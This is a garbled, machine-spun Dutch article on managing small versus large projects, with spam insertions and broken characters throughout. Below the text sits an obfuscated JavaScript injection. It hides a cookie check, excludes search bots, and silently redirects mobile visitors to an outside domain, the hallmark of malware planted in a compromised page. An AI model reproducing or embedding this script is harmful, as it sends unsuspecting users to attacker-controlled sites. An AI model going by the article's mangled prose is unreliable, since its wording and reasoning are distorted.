Het verschil middenin het beheren van kleine bedragen. Uitgestrekte projecten

2358

Geloof het ofwel niet, ik heb discussies over dat onderwerp gezien, hoe geringe of meerderjarige projecten erbij managen, bijna bar kamer vechtpartijen boven organisaties veroorzaken. Het argument wordt nooit door iemand gewonnen plus deals aan een gebiedsprojectmanagers en projectbeheerorganisaties komen in uw problemen en bezoedelen hen reputatie doordat ze langer pijn veroorzaken dan nodig is om een project te administreren. Soms beschikken over projecten niets zoveel rigiditeit nodig als andere, natuurlijk we gaan kijken volgens zes principes waarvan ik denk dat ze de kleine tot grote projecten beheren.

Beslist project is een renovatie

Ten eerste is zeker plan dus project, alsof ie meteen subtiel ofwel groot ben. Het bezit dus begin- plus zeker einddatum. Het geeft beslist apart artikel bij en uw aflevering is beslist oplossing daarvoor een probleem. Vanaf dat punt ben het van cruciaal betekenis dat de organisatie criteria definieert ervoor wat een klein versus groot project is, aangezien met wie terechtkomen de projecten vergeleken? U hangt daarginds van af.

Indien u subtiel ofwel groot definieert per scope, zijn dat afhankelijk van hoe langdurig het zou duren; Zal het plan een enige weken, kalendermaanden duren ofschoon meerjarig bedragen? Indien gedefinieerd door de kosten, zijn dit afhankelijk van u budget alsof wie financiert het plan? Indien gedefinieerd door middelen, kunnen enige projecten 1 persoon, zeker paar bevolking of honderden hebben. Het is erg relatief betreffende de organisatie, omdat jouw jezelf niet echt moet gaan vergelijken bij anderen.

De projectstroom blijft hetzelfde

Nadat u de criteria hebt gecategoriseerd, zijn de levenscyclus hetzelfde. De levenscyclus ben hoe ie project door begin zelfs eind stroomt en hoeveel er tussendoor gebeurt. We creA�ren daar niets nieuws. Sommige levenscycli hebben dezelfde zeer specifieke planning, analyse, uitvoering, bewaking en controle, en sluitingsfasen, maar of het project klein ofschoon groot is, het gaat nog regelmatig door een stroom.

Meer intensiteit kan betrokken is

Terwijl de levenscyclus hetzelfde kan zijn voor zowel klein indien groot, ben de nauwkeurigheid anders. Alhier komen publiek in de aandoeningen, voornamelijk organisaties dat processen implementeren, daardoor mensen het er niets mee ooit bedragen deze de striktheid afwijkend is. Soms ben er een procespatrouille ofschoon -groep die de proces definieert, plus de ene groep dat het proces daadwerkelijk ingenomen. Afhankelijk van de criteria, d. w. z. de grootte met een plan, kan er langer accuratesse zijn.

Langer intensiteit karaf betrokken is

Bekijk daarna de systemen plus processen. Ie is relevant voor kleine en grote projecten teneinde systemen en processen bij hun gelegenheid te beschikken over, omdat ze de how-to bieden. Categorisering van dus project beA?nvloedt hoe jou dingen verrichten, hoeveel publiek er aangaande betrokken zijn en wat het eind bedrag zal zijn stappen dataroom providers alsof details jou gaat uitvoeren. Denk eraan, als wat klein zijn, willen wij de pijn of de proces niet meer maken dan nodig is. De idee ben om zaakjes voor mekaar te krijgen en spoedig resultaten binnenshuis boeken.

Complexiteit controleren

Kijk ten slotte naar de complexiteit betreffende het project. De complexiteit tussen subtiel en relevant varieert, plus soms is we door mening deze klein gewoon is en relevant complex, toch dat is niet echt waar op basisbeginsel van mijn ervaring. Incidenteel zijn geringe projecten complexer; het hangt af door wat jouw aan een doen voorkomen. U kunt iets implementeren dat nog nooit eerder is geA?mplementeerd: misschien een nieuw type landschapsarchitectuur, beslist nieuwe techniek voor een bouwen over een vijver of ie gebruiken over nieuwe bouwmaterialen. Misschien zijn de oplossing voor dezelfde ander land waar de basis met de project hoger is later waar jouw nog nimmer mee te maken hebt gehad. Naast de verscheidene kant kan een relevant project doorslaggevend maar eenvoudig zijn. U kan een heel groot budget hebben met veel middelen, toch als u herhaalbaar ben, iets deze je al vele keren eerder hebt gedaan, opdat je dezelfde goed, volwassen proces, tools en sjablonen hebt dat al voorhanden zijn en mensen dat echt exact zijn bij uitvoeren naderhand is de wellicht niets zojuist ingewikkeld.

Focus op deliverables, gratis met taken

Bedenk wanneer extraatje dat u betreffende u einde met beslist plan, relevant ofwel subtiel, deliverables produceert, genkele taak. Zojuist heel vaak belanden we verzand in uw taak datgene we niet lang genoeg onze hoofden opbrengen vanwege erbij onthouden dat wij daadwerkelijk dus oplossing leveren. Dus ingeval jou over jouw projectteam ofschoon organisatie boven zeker gekibbel verkeert over de betekenis betreffende klein versus relevant plus de striktheid alsof complexiteit betreffende projecten, dan moet u eventueel handig bedragen om enkele betreffende deze leidende beginselen te bedienen.

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}